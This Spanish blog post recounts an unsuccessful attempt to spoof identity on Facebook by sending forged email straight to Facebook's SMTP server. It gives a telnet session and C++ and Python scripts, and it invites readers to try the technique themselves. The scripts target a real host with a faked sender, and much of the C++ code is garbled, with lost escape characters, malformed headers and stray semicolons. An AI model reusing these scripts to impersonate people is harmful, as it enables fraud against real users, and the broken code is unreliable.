Autor

Alejandro Alcalde

Graduado en Ingeniería Informática en la ETSIIT, Granada. Creador de El Baúl del Programador

Más artículos de Alejandro Alcalde

Leyendo el blog de Chema Alonso me he encontrado con una entrada interesante que, aunque no he logrado realizarla al 100% quiero compartirla con vosotros para que lo intente quien quiera.

El método consiste en conseguir 3 cosas:

Los pasos a seguir podéis leerlos en la entrada de Chema: Suplantación de identidad en Facebook

Voy a explicar lo que yo he hecho:

Al principio al establecer comunicación mediante telnet por el puerto 25 (el de SMTP) y escribrir los comandos siempre recibía el siguiente error:

550 5.6.0 Invalid header found (see RFC2822 section 3.6)

Tras buscar un poco el motivo descubrí que se debía a que me estaba saltando algunas cabeceras del protocolo, concretamente *From, To * y Date.

En resumen, todo el proceso queda como sigue:


¿Te gusta el blog? Ayúdame a seguir escribiendo


telnet smtpin.mx.facebook.com smtp
Trying 69.171.244.11...
Connected to smtpin.mx.facebook.com.
Escape character is '^]'.
220 smtpin.mx.facebook.com ESMTP
HELO client.facebook.com
250 smtpin.mx.facebook.com says HELO to xx.xxx.xxx.xx:xxxxx
MAIL from:
250 MAIL FROM accepted
RCPT to:
250 RCPT TO accepted
DATA
354 continue.  finished with "rn.rn"
From: xxxxx@xxxxx.xxx
To: xxxxxx@facebook.com
Subject: Test
Date: xxx, xx xxx xxxx xx:xx:xx -xxxx

This is an example
.
450 4.3.2 INT-T14 http://postmaster.facebook.com/response_codes?ip=xx.xxx.xx.x#int Server busy, try again later
Connection closed by foreign host.

Pero sigo recibiendo un error (450 4.3.2 INT-T14 http://postmaster.facebook.com/response_codes?ip=xx.xxx.xx.x#int Server busy, try again later Connection closed by foreign host)

También probé con dos programas (sin éxito), uno en C++ y otro en python que encontré en stackoverflow:

#include <iostream>
     #include <sys>
     #include <netinet>
     #include <netdb>
     #include <stdio>
     #include <string>
     using namespace std;
     #define HELO "HELO xxxxxx@xxxx.xxxxrn"
     #define DATA "DATArn"
     #define QUIT "QUITrn"

    //#define h_addr h_addr_list[0]
    //FILE *fin;
    int sock;
    struct sockaddr_in server;
    struct hostent *hp, *gethostbyname();
    char buf[BUFSIZ+1];
    int len;
    char *host_id="69.171.244.12";
    char *from_id="********";
    char *to_id="*******";
    char *sub="testmailrn";
    char wkstr[100]="hello how r urn";

    /*=====Send a string to the socket=====*/

    void send_socket(char *s)
    {
        write(sock,s,strlen(s));
        write(1,s,strlen(s));
        //printf("Client:%sn",s);
    }

    //=====Read a string from the socket=====*/

    void read_socket()
    {
        len = read(sock,buf,BUFSIZ);
        write(1,buf,len);
      //printf("Server:%sn",buf);
    }

    /*=====MAIN=====*/
    int main(int argc, char* argv[])
    {

    /*=====Create Socket=====*/
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock==-1)
    {
     perror("opening stream socket");
     return 1;
    }
    else
      cout < < "socket createdn";
    /*=====Verify host=====*/
    server.sin_family = AF_INET;
    hp = gethostbyname(host_id);
    if (hp==(struct hostent *) 0)
    {
     fprintf(stderr, "%s: unknown hostn", host_id);
     return 2;
    }

    /*=====Connect to port 25 on remote host=====*/
    memcpy((char *) &server.sin;_addr, (char *) hp->h_addr, hp->h_length);
    server.sin_port=htons(25); /* SMTP PORT */
    if (connect(sock, (struct sockaddr *) &server;, sizeof server)==-1)
    {
     perror("connecting stream socket");
     return 1;
    }
    else
      cout < < "Connectedn";
    /*=====Write some data then read some =====*/
    read_socket(); /* SMTP Server logon string */
    send_socket(HELO); /* introduce ourselves */
    read_socket(); /*Read reply */
    send_socket("MAIL FROM: ");
    send_socket(from_id);
    send_socket("rn");
    read_socket(); /* Sender OK */
    send_socket("VRFY ");
    send_socket(from_id);
    send_socket("rn");
    read_socket(); // Sender OK */
    send_socket("RCPT TO: "); /*Mail to*/
    send_socket(to_id);
    send_socket("rn");
    read_socket(); // Recipient OK*/
    send_socket(DATA);// body to follow*/
    send_socket("Subject: ");
    send_socket(sub);
    read_socket(); // Recipient OK*/
    send_socket(wkstr);
    send_socket(".rn");
    read_socket();
    send_socket(QUIT); /* quit */
    read_socket(); // log off */

    //=====Close socket and finish=====*/
    close(sock);
    return 0;
  }

La versión en python:

#!/usr/bin/python

import smtplib
import sys
import os

sender = 'xxxxx@xxxxx.com'
receivers = ['xxxxx@facebook.com']

message = """From: From Person
To: To Person
Subject: SMTP e-mail test
This is a test e-mail message.
"""

try:
   smtpObj = smtplib.SMTP('69.171.244.12')
   smtpObj.sendmail(sender, receivers, message)
   print "Successfully sent email"
except Exception, exc:
   sys.exit( "mail failed; %s" % str(exc) ) # give a error message

Esto es todo, por más que lo he intentado no lo he logrado, si os animáis a probarlo y lo conseguís, agradecería que lo comentárais.

Fuente: Elladodelmal

¿Has visto algún error?: Por favor, ayúdame a corregirlo contactando conmigo.

Categorías:Etiquetas:

Quizá también te interese leer...